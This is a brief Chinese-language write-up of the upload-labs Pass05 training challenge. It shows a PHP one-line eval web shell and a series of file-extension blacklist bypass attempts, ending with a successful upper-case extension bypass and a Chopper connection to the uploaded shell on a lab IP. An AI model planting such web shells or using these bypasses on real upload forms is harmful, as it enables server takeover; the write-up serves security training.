5.upload-labs—Pass05

一、Pass05

1、上传一个shell.php

shell.php内容为：<?php @eval($_POST['123']);?>

//结果如下图所示，提示我们此文件不允许上传

2、扩展名黑名单绕过方法：
①、上传，shell.php.jpg
//尝试是否存在apache的解析漏洞
//结果，不能解析

②、上传.htaccess
//尝试，是否被过滤
//结果，被过滤

③、打开代理，启动BP，上传shell.php，拦截，在文件名的收尾去加点
//被过滤

④、打开代理，启动BP，上传shell.php，拦截，在文件名的收尾加空格
//被过滤

⑤、打开代理，启动BP，上传shell.php，拦截，在文件名的收尾加::$DATA
//被过滤

⑥、打开代理，启动BP，上传shell.php，对文件名的扩展名，大小写绕过
//形如：shell.PHP或者shell.PHp

如下图所示，上传成功，且上传点为：http://192.168.97.139/upload-labs/upload/

3、菜刀连接http://192.168.97.139/upload-labs/upload/shell.PHP即可